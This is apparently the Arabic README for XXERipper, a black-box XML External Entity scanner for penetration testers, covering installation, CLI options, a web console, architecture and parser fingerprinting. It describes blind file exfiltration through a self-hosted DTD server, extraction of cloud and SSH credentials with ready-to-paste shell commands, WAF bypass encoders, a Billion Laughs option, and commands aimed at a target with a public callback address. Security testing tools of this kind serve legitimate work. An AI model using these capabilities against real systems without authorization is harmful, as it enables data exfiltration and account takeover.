
ماسح XXE للصندوق الأسود يكتشف الحقن داخل النطاق، والقائم على الأخطاء، والأعمى خارج النطاق عبر وضع خطوط أساس إحصائية، وبصمات المحللات، وتأكيد OOB، مع إخراج SARIF.
ماسح XML External Entity (XXE) مستقل، أسود الصندوق، لمتخصصي الأمن.
يكتشف XXERipper ثغرات XXE من نوع in-band وerror-based وblind out-of-band عبر أكثر من 30 عائلة من تقنيات الهجوم. فهو يجمع بين وضع خطوط أساس إحصائية، والبصمة التفاضلية للمحللات (parsers)، والتأكيد خارج النطاق عبر interactsh-client (يدويًا أو تلقائيًا)، ووحدة تحكم قائمة على المتصفح، وترميز تجاوز WAF، واكتشاف سلسلة الاستغلال من البداية إلى النهاية، واستخراج بيانات الاعتماد مع مقتطفات shell جاهزة للصق، ونتائج مرتبطة بـ CWE، ومخرجات JSON / SARIF / HTML لأغراض CI/CD وإعداد التقارير.
XXERipper هو ماسح ذاتي الاحتواء يعمل عبر CLI ووحدة تحكم المتصفح، مخصص لحقن XML External Entity، ومصمم لمختبري الاختراق وصائدي مكافآت الثغرات والباحثين الأمنيين الذين يحتاجون إلى اكتشاف دقيق ومنخفض الإيجابيات الكاذبة لفئة ثغرات يسهل اختبارها بشكل سيئ ويصعب اختبارها بشكل جيد.
وهو بسيط عمدًا — httpx و(لوحدة التحكم) flask، لا شيء آخر — وقابل للتدقيق من البداية إلى النهاية. يمكن تتبع كل مرحلة، وكل نتيجة تحمل مسار أدلة، وكل تقنية تم تخطيها يُبلَّغ عنها مع سبب، وكل ملف أو بيانات اعتماد مستخرجة تُزال تكرارها وتُخزَّن مع مقتطفات استغلال جاهزة للصق.
لا يستغل XXERipper الهدف بما يتجاوز بدائية حل الكيانات (entity-resolution) نفسها. فهو يحدد ما إذا كان المحلل (parser) يحل الكيانات الخارجية، وما إذا كان يمكن ملاحظة النتيجة داخل النطاق، أو عبر أخطاء المحلل، أو خارج النطاق، ويبلّغ عن ذلك التحديد مع درجة ثقة، وربط بـ CWE، وعند اكتمال سلسلة كاملة — نتيجة مجمّعة تسمّي التأثير من البداية إلى النهاية.
ChainTracker كل نتيجة، ويستنتج مراحل السلسلة من المعرّف + الأدلة، ويطلق نتيجة مجمّعة عند اكتمال قالب — XXE → IMDS → IAM credentials → AWS account takeover، وXXE → SSH private key → lateral movement، وXXE → Kubernetes secrets → cluster credential theft، وعشرة أخرى.aws sts get-caller-identity، وaliyun sts GetCallerIdentity، وssh -i …، وgcloud auth activate-service-account، وkubectl --token=…، وcurl -H 'Authorization: Bearer …' — مبنية باستخدام المطالبات (claims) الحقيقية للرمز حيث ينطبق ذلك.pip install xxeripper pip install "xxeripper[socks]" # plus SOCKS proxy support
التثبيت الأساسي يجلب `httpx[http2]` (مع تفعيل التفاوض على HTTP/2
عبر ALPN) و`Flask` (المستخدم بواسطة وحدة التحكم على الويب `--serve`).
دعم وكيل SOCKS هو الإضافة الاختيارية الوحيدة. HTTP/2 ميزة مطلوبة،
وليست اختيارية — فهي موجودة في قائمة التبعيات الرئيسية باسم
`httpx[http2]`. تم توفير إضافة `xxeripper[http2]` لمجرد
اعتياد المستخدم؛ تثبيتها يعادل تثبيت الحزمة الأساسية.
### حزم التوزيع```bash
sudo pacman -U xxeripper-1.0.0-1-any.pkg.tar.zst # Arch
sudo dpkg -i xxeripper_1.0.0-1_all.deb # Debian / Ubuntu
sudo dnf install xxeripper-1.0.0-1.fc44.noarch.rpm # Fedora / RHEL
git clone https://github.com/kamalx06/XXERipper.git cd XXERipper && pip install -e ".[socks]"
### المتطلبات
- **Python 3.9 حتى 3.14.**
- **`httpx[http2]` ≥ 0.27، < 0.29** — عميل HTTP. يتم جلب دعم HTTP/2
عبر الإضافة `[http2]` الخاصة بـ `httpx`، والتي تجلب
الاعتمادية `h2` معها. يتفاوض الماسح على HTTP/2 عبر ALPN في
مصافحة TLS ويعود بصمت إلى HTTP/1.1 حيث لا يدعمه
الخادم.
- **`Flask` ≥ 3.0، < 4.0** — يُستخدم بواسطة وحدة التحكم على الويب `--serve`. إنه
اعتمادية رئيسية، وليست اختيارية؛ وحدة التحكم هي واجهة
من الدرجة الأولى، و`xxeripper --serve` موثّق في
[البدء السريع](#quick-start) و[وحدة التحكم على الويب](#web-console).
- **اختياري:** `PySocks` ≥ 1.7.1 لوكلاء SOCKS
(`xxeripper[socks]`).
- **اختياري:** `interactsh-client` في `PATH` للتأكيد التلقائي خارج النطاق
(`--oob-auto`). وضع OOB اليدوي (`--oob-domain`) ليس لديه
اعتمادية خارجية — تقوم بتشغيل `interactsh-client` بنفسك في
طرفية منفصلة.
تحتوي الحزمة على ملف واحد، `xxeripper.py`. لا يوجد دليل
حزمة، ولا امتداد مُجمّع، ولا خطوة بناء عند التثبيت.
نقطة دخول CLI معلنة كـ `xxeripper = "xxeripper:main"`، لذا
`pip install xxeripper` يضع ملفًا تنفيذيًا `xxeripper` على `PATH` الخاص بك.
### الإضافات الاختيارية
| الإضافة | تجلب | متى تُثبّت |
|---|---|---|
| `xxeripper[socks]` | `PySocks` ≥ 1.7.1 | عند الفحص عبر وكيل SOCKS5، بما في ذلك Tor عبر `socks5h://` |
| `xxeripper[http2]` | *(لا شيء جديد)* | غير مطلوبة بشكل صارم أبدًا — التثبيت الأساسي يتضمن بالفعل `httpx[http2]`. متوفرة لاعتياد المستخدم |
لا توجد إضافة `[webui]` — Flask اعتمادية رئيسية، و
وحدة التحكم تعمل مباشرة على أي تثبيت أساسي.
---
## البدء السريع```bash
# 1. Basic scan (in-band and error-based, no OOB)
xxeripper https://target.com/api/xml
# 2. Terminal A: start interactsh-client and note the session domain
interactsh-client -v
# [INF] c5f2a9b4e1d8a3f72c0b.oast.pro
# 3. Terminal B: scan with OOB payloads under that domain
xxeripper https://target.com/api/xml \
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
# 4. Match the [OOB] lines from the scanner against callbacks in Terminal A
# 5. Or skip the two-terminal dance: let the scanner spawn and drive
# interactsh-client itself
xxeripper https://target.com/api/xml --oob-auto
# 6. Blind file exfiltration with the built-in DTD server
xxeripper https://target.com/api/xml \
--oob-auto --oob-listen 0.0.0.0:8888 \
--oob-public-url http://your-public-ip:8888
# 7. Launch the browser-based console instead of a CLI scan
xxeripper --serve
# [*] XXE-Ripper web console
# [*] URL: http://127.0.0.1:8080
# 8. Write a self-contained HTML report
xxeripper https://target.com/api/xml --report-html report.html
# 9. CI usage: write SARIF and fail the build on HIGH+ findings
xxeripper https://target.com/api/xml \
-o results.sarif --format sarif --fail-on high
يتولى الماسح الضوئي التقاط خط الأساس، وبصمة المحلل اللغوي، وتوليد الحمولات، والتنفيذ، والتنقيط، وتجميع السلسلة، واستخراج بيانات الاعتماد، وإعداد التقارير. يتوفر التأكيد الأعمى إما كسير عمل من طرفيتين (الوضع اليدوي، وهو الوضع الافتراضي) أو كسير عمل مؤتمت بالكامل مدفوع بعملية فرعية (--oob-auto).
xxeripper https://target.com/api/xml --cookie "SESSION=...; csrf=abc" xxeripper https://target.com/api/xml --cookie-file cookies.txt
xxeripper https://target.com/api/xml
--pre-auth-request login.burp --pre-auth-request csrf.burp
xxeripper -r request.txt --oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
xxeripper -r request.txt --oob-auto
xxeripper https://target.com/api/xml
--oob-auto
--oob-listen 0.0.0.0:8888
--oob-public-url http://198.51.100.7:8888
xxeripper https://target.com/api/xml
--oob-auto
--oob-dtd-dir /var/www/dtds
--oob-dtd-url-prefix http://198.51.100.7:8000/dtds
xxeripper https://target.com/api/xml
--payload ']>&e;'
--payload-file ./my_payloads.xml --payload-dir ./custom_xxe/
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
xxeripper -u targets.txt -o results.json
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro --rate 5 --threads 10
xxeripper https://target.com/api/xml --full-file-scan
xxeripper https://target.com/ingest --svg
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
xxeripper https://target.com/auth/assert --saml --oob-auto
xxeripper https://target.com/api/xml --bypass-waf all --oob-auto
xxeripper https://target.com/api/xml
--bypass-waf utf16be,utf32le,ucs4_2143,b64_uri --oob-auto
xxeripper --serve --port 8080
xxeripper https://target.com/api/xml
-o results --format both --report-html results.html
xxeripper -r request.txt --cookie "extra=token" --payload-dir ./payloads/
--oob-auto --timing --unsafe --svg --saml --full-file-scan
--bypass-waf utf16be,ebcdic,ucs4_2143
--oob-dtd-dir /var/www/dtds --oob-dtd-url-prefix http://198.51.100.7:8000/dtds
--threads 20 --rate 8 --timeout-read 20 --budget 1800
--proxy socks5://127.0.0.1:9050 --debug
-o results --format both --report-html report.html
---
## مرجع سطر الأوامر
### الهدف والمخرجات
| الخيار | الوصف |
|---|---|
| `url` (موضعي) | عنوان URL واحد للفحص |
| `-u, --urls FILE` | ملف يحتوي على عناوين URL، واحد في كل سطر |
| `-r, --request FILE` | طلب HTTP خام بصيغة Burp |
| `-o, --output FILE` | ملف مخرجات النتائج |
| `--format {json,sarif,both}` | صيغة المخرجات. الافتراضي: `json` |
| `--report-html PATH` | كتابة تقرير HTML مكتفٍ ذاتيًا بعد الفحص |
| `--fail-on {critical,high,medium,low,never}` | الخروج بالرمز `2` عند وجود نتيجة بهذه الخطورة أو أعلى. الافتراضي: `never` |
| `--debug` | مخرجات تشخيصية مفصّلة |
### خارج النطاق
| الخيار | الوصف |
|---|---|
| `--oob-domain SESSION_DOMAIN` | **الوضع اليدوي.** نطاق جلسة interactsh-client. يبني الماسح الحمولات تحت هذا النطاق ويطبع كل نطاق فرعي في ملخص الهدف. لا يقوم بالاستقصاء — راقب طرفية `interactsh-client` الخاصة بك. متنافٍ مع `--oob-auto` |
| `--oob-auto` | **الوضع التلقائي.** تشغيل `interactsh-client` كعملية فرعية، واستخراج نطاق الجلسة من مخرجاته بصيغة JSON، وربط الاستدعاءات داخل العملية. يتطلب وجود `interactsh-client` في `PATH`. متنافٍ مع `--oob-domain` |
| `--oob-timeout SECONDS` | ميزانية الانتظار لكل استقصاء خارج النطاق. ذو معنى فقط مع `--oob-auto`؛ دمجه مع `--oob-domain` خطأ في الوسائط، لأن الوضع اليدوي لا ينتظر أبدًا. الافتراضي: `8.0` |
### التسريب الأعمى
| الخيار | الوصف |
|---|---|
| `--oob-listen HOST:PORT` | ربط خادم HTTP مدمج يقدّم حمولات DTD. يتطلب `--oob-public-url`. استخدم `0.0.0.0:PORT` للربط على جميع الواجهات |
| `--oob-public-url URL` | بادئة عنوان URL العام لخادم DTD المدمج (مثل `http://198.51.100.7:8888`). مطلوب مع `--oob-listen` |
| `--oob-dtd-dir PATH` | بديل لـ `--oob-listen`: دليل يكتب الماسح ملفات DTD فيه. قدّمه من خادم الويب الخاص بك. يتطلب `--oob-dtd-url-prefix` |
| `--oob-dtd-url-prefix URL` | بادئة عنوان URL العام التي تُطابق `--oob-dtd-dir` (مثل `http://198.51.100.7:8000/dtds`) |
الوضعان متنافيان عمليًا: استخدم `--oob-listen` عندما يستطيع الهدف الوصول إلى عنوان الماسح، و`--oob-dtd-dir` عندما تتحكم بخادم ويب مواجه للعامة. الوضع اليدوي خارج النطاق (`--oob-domain`) لا يدعم التسريب — لا يقرأ الماسح مخرجات interactsh في الوضع اليدوي، لذا يجب قراءة المحتوى المسرَّب من طرفية المشغّل.
### وحدة التحكم على الويب
| الخيار | الوصف |
|---|---|
| `--serve` | بدء وحدة التحكم القائمة على المتصفح بدلًا من تشغيل فحص عبر سطر الأوامر |
| `--host ADDRESS` | عنوان الربط لوحدة التحكم. الافتراضي: `127.0.0.1`. تُحذّر لافتة بدء التشغيل من الربط على غير واجهة الاسترجاع |
| `--port PORT` | منفذ الربط لوحدة التحكم. الافتراضي: `8080` |
### البصمة واستهداف الملفات
| الخيار | الوصف |
|---|---|
| `--no-fingerprint` | تخطي مرحلة بصمة المحلّل. يُعطَّل تقييد القدرات؛ تُنفَّذ جميع المراحل دون شرط |
| `--no-fingerprint-cache` | تعطيل ذاكرة البصمة على القرص؛ يفرض استقصاءً جديدًا |
| `--full-file-scan` | التكرار على قائمة أهداف الملفات الكاملة لنظامي Linux وWindows (~58 مسارًا) بدلًا من المجموعة ذات الأولوية (~21 مسارًا) |
### ملفات تعريف الارتباط والحمولات
| الخيار | الوصف |
|---|---|
| `--cookie STRING` / `--cookie-file FILE` | ملفات تعريف ارتباط مضمّنة أو وعاء Netscape / ملف `key=value` |
| `--no-cookie-merge` | تخطي دمج `Set-Cookie` |
| `--pre-auth-request FILE` | إعادة تشغيل طلب بصيغة Burp مرة واحدة قبل الفحص. تُدمج ترويسات `Set-Cookie` من الاستجابة في وعاء الماسح. كرّر لعمليات مصادقة متعددة الخطوات |
| `--payload XML` / `--payload-file FILE` / `--payload-dir DIR` | حمولات مخصصة (مضمّنة، ملف، دليل) |
### أنماط الهجوم
| الخيار | الوصف |
|---|---|
| `--timing` | تفعيل الكشف الأعمى القائم على التوقيت |
| `--unsafe` | تفعيل حمولات DoS (Billion Laughs) |
| `--svg` | فرض رفع SVG ومراحل multipart/DOCX/Office-XSLT |
| `--saml` | فرض مرحلة ما قبل توقيع SAML على نقاط النهاية التي لا يبدو عنوان URL الخاص بها على شكل SAML |
### تجاوز WAF
| الخيار | الوصف |
|---|---|
| `--bypass-waf [ENCODERS]` | إعادة إرسال كتالوج الحمولات بالكامل عبر المُرمِّزات المحددة *بعد* المراحل الأساسية. مرّر `all` (أو بدون قيمة) لكل المُرمِّزات، أو مجموعة فرعية مفصولة بفواصل. الأسماء الصالحة: `utf16be`, `utf16le`, `utf16decl`, `utf16nobom`, `utf32be`, `utf32le`, `ebcdic`, `ucs4_2143`, `utf8bom`, `public`, `public_charref`, `b64_uri`, `whitespace_pad`, `doctype_closure`, `pe_stager` |
| `--bypass-waf-include-custom` | توسيع المسح ليشمل الحمولات المقدَّمة من المستخدم. ذو معنى فقط مع `--bypass-waf`. تُتخطى الحمولات المخصصة التي تشير إلى `{CALLBACK}` أو `{DOMAIN}` |
### الشبكة والاستقرار
| الخيار | الوصف |
|---|---|
| `--proxy URL` | `http://`، `https://`، `socks5://`، أو `socks5h://` |
| `--threads N` | الأهداف المتزامنة. الافتراضي: 20 |
| `--rate R` | الحد الأقصى للطلبات في الثانية لكل هدف. الافتراضي: غير محدود |
| `--timeout-connect SECONDS` / `--timeout-read SECONDS` | الافتراضي: 5.0 / 15.0 |
| `--budget SECONDS` | حد الفحص الزمني الفعلي. الافتراضي: 3600 |
| `--verify-tls` | إعادة تفعيل التحقق من الشهادة |
### عناصر استبدال الحمولات المخصصة
`{FILE}`، `{CALLBACK}`، `{DOMAIN}`، `{URL}`، `{HOST}` — تُستبدل وقت الإرسال بهدف الملف الحالي، والنطاق الفرعي الفريد للاستدعاء، ونطاق الجلسة، وعنوان URL الهدف، واسم مضيف الهدف.
---
## وحدة التحكم على الويب
وحدة التحكم هي منصة عمل قائمة على المتصفح لتشغيل الفحوصات وفحصها، تُقدَّم من نفس الملف التنفيذي عبر `--serve`.```bash
xxeripper --serve
# [*] XXE-Ripper web console
# [*] URL: http://127.0.0.1:8080
# [*] 127.0.0.1 by default. Do NOT expose to untrusted networks.
# [*] OOB auto mode available via the WebUI
# (interactsh-client will be spawned on first use).
تُربط وحدة التحكم بواجهة الاسترجاع (loopback) افتراضيًا ولا تتضمن أي مصادقة. إعادة الربط عبر --host تطبع تحذيرًا صريحًا؛ ضع أمامها وكيلًا عكسيًا موثّقًا إذا كنت بحاجة إلى وصول عن بُعد.
منصة عمل بثلاث لوحات:
exfiltrated تحت أي استدعاء يحمل محتوى ملفات مستردة.اضغط ⌘K / Ctrl+K للبحث الضبابي عبر الأوامر والأهداف والنتائج. تُظهر النتائج مستوى خطورتها كحبة ملوّنة في اللوحة.
وصول كامل إلى كل علامة CLI من المتصفح: عنوان URL أو طلب Burp، ووضع OOB (نطاق يدوي أو تلقائي)، وقسم التسريب الأعمى مع خيارين متنافيين (خادم DTD المستضاف على WebUI مع حقل عنوان URL عام، أو دليل DTD مع بادئة URL للاستضافة الخارجية)، والوكيل، وملفات تعريف الارتباط، والمعدل، والميزانية، والمهلات الزمنية، والخيوط، والحمولات المخصصة، وملفات الحمولات، وطلبات ما قبل المصادقة، وشبكة خانات الاختيار لخيارات الفحص. يعرض قسم تجاوز WAF جميع المُرمِّزات الخمسة عشر كخانات اختيار فردية بالإضافة إلى زر "تبديل الكل"؛ تُعاد كل من شبكة المُرمِّزات وخانة تضمين المخصص إلى وضع الإيقاف كلما أُغلق الدرج، بحيث لا ينتقل التجاوز بصمت بين الفحوصات.
تفعيل وضع OOB التلقائي في الدرج يُنشئ interactsh-client واحدًا طوال عمر عملية الخادم. يُنشأ بشكل كسول عند أول مهمة OOB تلقائية ويُعاد استخدامه بعد ذلك. تتشارك المهام المتزامنة المتعددة نطاق الجلسة لكنها تحتفظ بمجموعات رموز مستقلة، بحيث تبقى الاستدعاءات الواردة منسوبة بشكل صحيح لكل هدف. تُطبع الاستدعاءات الواردة إلى طرفية الخادم عند وصولها.
بالإضافة إلى خيارات استضافة DTD من جانب CLI، يمكن لـ WebUI تقديم ملفات DTD من مساراته الخاصة في Flask. فعّل تقديم ملفات DTD من هذا WebUI في الدرج، وقدّم عنوان URL العام الذي يمكن الوصول إلى WebUI عنده، وسيسجّل الماسح ملفات DTD على /dtd/<token>.dtd على نفس عملية Flask التي تشغّل وحدة التحكم. لا طرفية ثانية، ولا python -m http.server، ولا دليل منفصل.
يعمل هذا عندما يستطيع الهدف الوصول إلى العنوان الذي يرتبط به WebUI. اربط وحدة التحكم بـ 0.0.0.0 مع بادئة عنوان URL عام وسيصبح WebUI خادم تسريب مكتفيًا ذاتيًا بالكامل. عندما يكون الهدف بعيدًا وWebUI ليس كذلك، استخدم وضع --oob-dtd-dir من CLI بدلًا من ذلك: يكتب الماسح ملفات DTD إلى دليل، وتقدّم أنت ذلك الدليل من nginx أو Apache، ويقرأ WebUI النتائج مرة أخرى عبر نفس عملية الفحص.
كل مهمة مكتملة لها ثلاثة أزرار تنزيل في شريط الأدوات:
--format json من CLI.--format sarif من CLI.Content-Disposition: attachment).Content-Disposition: inline).نفس الملف، سلوكان، زرّان.
يمكن إلغاء مهمة قيد التشغيل من وحدة التحكم. الإلغاء تعاوني: يُشار إلى ScanContext الخاص بالمهمة، وتتحقق كل مرحلة منه قبل كل إرسال حمولة. يمكن إلغاء مهمة تنتظر فتحة تزامن قبل أن تبدأ أصلًا.
XXERipper هو منسّق في ملف واحد مع مجموعة صغيرة من المكونات القابلة للتركيب. لا يوجد نظام إضافات، ولا DSL للتكوين، ولا حالة خارجية تتجاوز ذاكرة التخزين المؤقت للبصمات على القرص.``` ┌─────────────────────────────────────────────────────────────┐ │ Entry points │ │ ─ CLI (argparse) ─ Web console (Flask + single HTML) │ └──────────────────────────┬──────────────────────────────────┘ │ ┌──────────▼──────────┐ │ ScanJob │ │ (web) │ │ scan_target (cli) │ └──────────┬──────────┘ │ ┌──────────────────┼──────────────────┐ │ │ │ ┌────▼────┐ ┌────▼────┐ ┌────▼────┐ │Session │ │Cookie │ │OOBClient│ │(httpx, │ │Manager │ │/ Inter- │ │ HTTP/2) │ │ │ │actshMgr │ └────┬────┘ └─────────┘ └────┬────┘ │ │ │ ┌──────▼───────┐ │ │DTDServer / │ │ │FileDTDWriter │ │ │WebUIDTDServer│ │ └──────────────┘ │ ┌────▼───────────────────────────────────────────────┐ │ XXEDetector │ │ │ │ 1. Baseline capture (StatisticalBaseline) │ │ 2. Parser fingerprint (ParserFingerprint, cache) │ │ 3. Phase execution (ordered, isolated, budgeted)│ │ │ │ ┌────────────┐ ┌────────────┐ ┌──────────────┐ │ │ │Accuracy │ │Chain │ │LootStore / │ │ │ │Engine │◄─┤Tracker │ │Credential │ │ │ │(score, veto│ │(stage │ │Extractor / │ │ │ │ classify) │ │ rollup) │ │FileExtractor │ │ │ └────────────┘ └────────────┘ └──────────────┘ │ └────────────────────────────────────────────────────┘ │ ┌──────────▼──────────┐ │ Reporters │ │ JSON · SARIF · HTML│ └─────────────────────┘
### المكونات
| المكوّن | الدور |
|---|---|
| `build_session` | ينشئ `httpx.Client` مع تفاوض HTTP/2، وتجميع الاتصالات، ووكيل اختياري، وحقن الترويسات لكل طلب |
| `CookieManager` | يدمج ملفات تعريف الارتباط من السلاسل المضمّنة، وملفات Netscape jars، وملفات `key=value`، وترويسات Burp. ويمتص اختياريًا `Set-Cookie` من كل استجابة |
| `CustomPayloadLoader` | يحمّل ويقسّم ويوحّد الحمولات المخصّصة من السلاسل المضمّنة، والملفات (فاصل `---` أو حدود `<?xml`)، والمجلدات |
| `OOBClient` | يولّد نطاقات فرعية مترابطة، ويتتبّع الرموز المعلّقة، ويرسل الملاحظات، ويربط الاستدعاءات الراجعة مقابل `InteractshManager` حيّ. يعمل بشكل متطابق في الوضعين اليدوي والتلقائي |
| `InteractshManager` | يشغّل ويقرأ `interactsh-client -json -v`، ويستخرج نطاق الجلسة، ويكشف قائمة استدعاءات راجعة آمنة للخيوط |
| `DTDServer` | خادم HTTP مدمج لحمولات DTD الخاصة بالتسريب الأعمى. يُربط عبر `--oob-listen`. يقدّم `<token>.dtd` عند الطلب |
| `FileDTDWriter` | يكتب ملفات DTD في مجلد يقدّمه المشغّل خارجيًا. يُقرن مع `--oob-dtd-url-prefix` |
| `WebUIDTDServer` | يدعم مسار DTD المستضاف في WebUI. يسجّل ملفات DTD في قاموس على مستوى العملية ويعيد عناوين URL تحت `/dtd/<token>.dtd` |
| `OOBExfilExtractor` | يحلّل كائنات الاستدعاء الراجع الخاصة بـ interactsh ويستخرج البيانات المسرّبة من مسارات/استعلامات طلبات HTTP وتسميات النطاقات الفرعية لـ DNS |
| `ParserFingerprint` | يرسل فحوصات اختبار/تحكم مقترنة، ويطابق نص الخطأ مقابل 11 عائلة توقيع، ويملأ قاموس `capabilities` |
| `StatisticalBaseline` | يلتقط 7 عينات حميدة؛ ويحسب الوسيط للطول والزمن المنقضي والحالة وتجزئة الجسم ووسيط إنتروبيا Shannon والإنتروبيا النافذية و IQR و p95 |
| `AccuracyEngine` | يقيّم استجابة مرشّحة مقابل خط الأساس، ويطبّق الفيتوات والأوزان، ويصنّف الخطورة |
| `XXEPayloadGenerator` | دوال خالصة تعيد سلاسل وبايتات الحمولة لكل عائلة تقنية |
| `XXEDetector` | المنسّق: يبني الترويسات، ويشغّل المراحل، ويستدعي محرك الدقة، ويسجّل النتائج، ويقود الأنظمة الفرعية للغنائم والتسلسل |
| `ChainTracker` | يسجّل مراحل التسلسل المستخلصة من معرّفات النتائج والأدلة؛ ويطلق نتائج مجمّعة عند اكتمال القوالب |
| `LootStore` | مستودع آمن للخيوط ومُزال التكرار للملفات والأسرار المستخرجة. لا يحفظ شيئًا على القرص افتراضيًا |
| `CredentialExtractor` | استخراج قائم على التعبيرات النمطية لـ AWS IAM JSON و INI، و Alibaba RAM، ومفاتيح SSH الخاصة، وحسابات خدمة GCP، ورموز وصول OAuth، ورموز حساب خدمة Kubernetes، وحاملات عامة، كل منها مع مقتطفات shell جاهزة للّصق |
| `FileContentExtractor` | استخراج خاص بالنوع لمحتوى الملفات الخام من أجسام الاستجابات (`/etc/passwd`، `/etc/shadow`، مفاتيح SSH، `.env`، `web.config`، `win.ini`، `system.ini`، `boot.ini`، ملفات `/proc`)، مع بديل بنيوي عام |
| `ScanContext` | موعد نهائي بالساعة الجدارية وإلغاء تعاوني؛ تتحقق منه كل مرحلة قبل كل إرسال |
| `RateLimiter` | يفرض حدًا أدنى للفاصل الزمني بين الطلبات لكل هدف؛ مستقل عن `--threads` |
### سير عمل الفحص
1. **التحضير المسبق.** يُبنى وعاء ملفات تعريف الارتباط. تُعاد الطلبات السابقة للمصادقة (إن وُجدت) وتُدمج ترويسات `Set-Cookie` الخاصة بها. تُحمّل الحمولات المخصّصة. يُضبط الموعد النهائي لـ `ScanContext`.
2. **التقاط خط الأساس.** تُرسل سبعة طلبات `POST` حميدة. تُحسب الوسيط للطول والزمن المنقضي ورمز الحالة وتجزئة الجسم والإنتروبيا و IQR و p95.
3. **البصمة.** تُشغّل تسعة فحوصات للقدرات مقابل الهدف. يُطابق نص الخطأ من الفحوصات مقابل توقيعات المحلّل. تُخزّن النتيجة مؤقتًا على القرص (ما لم يُضبط `--no-fingerprint-cache`).
4. **المراحل الأساسية.** قراءة الملفات داخل النطاق، والتحويل من JSON إلى XML، ومصفوفة نوع المحتوى، وتنويع الطريقة، وحقن معامل الاستعلام، و SSRF، وبيانات السحابة الوصفية، وأغلفة RCE، والقائم على الأخطاء.
5. **المراحل المعتمدة على OOB.** DNS فقط، و DTD خارجي، و OOB لكيان المعامل، وتجاوز CDATA، ومتغيرات XInclude، وجالبات XSLT/XSD، و `xml-stylesheet` PI، و multipart، و DOCX، و form-encoded.
6. **التجاوز والمصارف البديلة.** تجاوز الترميز، و XInclude، ورفع SVG، ومغلّف SAML/SOAP، و SAML قبل التوقيع.
7. **المراحل الاختيارية.** الأعمى القائم على التوقيت (`--timing`)، و DoS (`--unsafe`).
8. **مراحل مستندات Office و YAML.** `xml-stylesheet` PI في أجزاء DOCX/XLSX، وفحوصات إلغاء تسلسل PyYAML / SnakeYAML.
9. **الحمولات المخصّصة.** تُختبر كل حمولة مستخدم مقابل كل هدف ملف.
10. **تجاوز WAF (اختياري).** إذا ضُبط `--bypass-waf`، يُعاد إرسال كتالوج الحمولات بالكامل عبر كل مُرمّز مختار. يعمل *بعد* المراحل الأساسية حتى تُكتشف الإصابة المباشرة قبل المسح المُرمّز.
11. **تجميع التسلسل.** يمرّ `ChainTracker.emit_rollup_findings()` على القوالب المكتملة ويصدر نتيجة مجمّعة لكل اكتمال.
12. **التقارير.** تُسلسل النتائج إلى JSON و SARIF و/أو HTML مكتفٍ ذاتيًا.
تعمل كل مرحلة داخل `_run_phase`، الذي يلتقط أي استثناء، ويسجّل التتبّع تحت `--debug`، ويتابع إلى المرحلة التالية. لا يمكن فقدان نتيجة صادرة قبل انهيار.
---
## منهجية البصمة
تجيب مرحلة البصمة عن سؤالين: **أي حزمة XML تعمل**، و**أي قدرات حل الكيانات تكشف عنها**. كلاهما يقود اختيار المراحل — الهدف الذي يرفض DOCTYPE تمامًا لا يحتاج إلى تشغيل مسح DTD المحلي مقابله.
### فحوصات القدرات
تسعة فحوصات مقترنة، كل منها بحمولة اختبار وحمولة تحكم:
| القدرة | الاختبار | شرط النجاح (ينجح الاختبار، ولا ينجح التحكم) |
|---|---|---|
| `dtd_allowed` | DOCTYPE حميد مع تعريف عنصر | `200`، سلسلة العلامة موجودة |
| `dtd_entity_syntax_accepted` | DOCTYPE مع تعريف كيان (غير مستخدم) | `200`، العلامة موجودة |
| `dtd_parsed_but_not_resolved` | DOCTYPE مع كيان معرّف ومُشار إليه | `200`، `&x;` الخام ظاهر (أبقاه المحلّل غير موسّع) |
| `internal_entity` | كيان داخلي موسّع | `200`، العلامة موجودة، `&x;` غائب |
| `external_file` | `SYSTEM "file:///etc/hostname"` | `200`، المخرجات تبدو كاسم مضيف، بلا ترميز، بلا كيان خام |
| `parameter_entity` | مُجهّز كيان معامل داخلي | `200`، `PE_MARKER` موجود، `&inner;` غائب |
| `external_dtd` | `SYSTEM "http://127.0.0.1:1/nonexistent.dtd"` | `5xx`، أو `Connection refused` / `Failed to load` / `IO error` موجود |
التحكم هو الطلب نفسه بجسم حميد. لا تُعلَّم القدرة بـ `True` إلا إذا نجح محمول نجاح الاختبار **و** لم ينجح محمول التحكم. هذا ما يجعل البصمة تفاضلية بدلًا من مطابقة الأنماط — الهدف الذي يعيد دائمًا `200 OK` لا يمكنه الإبلاغ زورًا عن "DTD مسموح".
### مطابقة التوقيعات
تتراكم أجسام الاستجابات من الفحوصات (وأي جسم استجابة `5xx`) في مخزن نص الأخطاء. يُطابق ذلك المخزن مقابل إحدى عشرة عائلة توقيع:
| العائلة | سلاسل تمثيلية |
|---|---|
| `libxml2` | `lxml.etree.XMLSyntaxError`، `xmlParseEntityRef`، `Failed to load external entity`، `Premature end of data in tag` |
| `xerces` | `org.apache.xerces`، `com.sun.org.apache.xerces`، `SAXParseException`، `was referenced, but not declared`، `cvc-elt.` |
| `dotnet` | `System.Xml.XmlException`، `System.Xml.XmlReader`، `An error occurred while parsing EntityName`، `DTD is prohibited` |
| `java_sax` | `org.xml.sax.SAXParseException`، `DocumentBuilder`، `JAXP00010001`، `AccessExternalDTD`، `disallow-doctype-decl` |
| `java_stax` | `javax.xml.stream.XMLStreamException`، `IS_SUPPORTING_EXTERNAL_ENTITIES`، `woodstox`، `com.ctc.wstx` |
| `python_etree` | `xml.etree.ElementTree.ParseError`، `xml.parsers.expat.ExpatError`، `undefined entity`، `not well-formed (invalid token)` |
| `php_libxml` | `Warning: DOMDocument::load`، `SimpleXMLElement::__construct():`، `DOMException:` |
| `ruby` | `REXML::ParseException`، `Nokogiri::XML::SyntaxError`، `The entity expansion has been blocked` |
| `node` | `ExpatError`، `xml2js`، `libxmljs`، `fast-xml-parser`، `Unexpected close tag` |
| `perl` | `XML::LibXML`، `XML::Parser`، `XML::Twig`، `Couldn't parse` |
| `go` | `encoding/xml`، `XML syntax error on line`، `xml: cannot unmarshal` |
تفوز العائلة ذات أكبر عدد من الإصابات. عائلة `libxml2` هي الأكبر عمدًا — فئات استثناءات lxml، وأسماء دوال C الأساسية، وتشخيصات libxml2 المقروءة للبشر كلها تُحتسب، لذا يُتميّز الهدف الذي يستخدم lxml بثقة عن الذي يستخدم `etree` من المكتبة القياسية في Python (وهو expat ويطابق عائلة `python_etree` بدلًا من ذلك).
### ذاكرة التخزين المؤقت على القرص
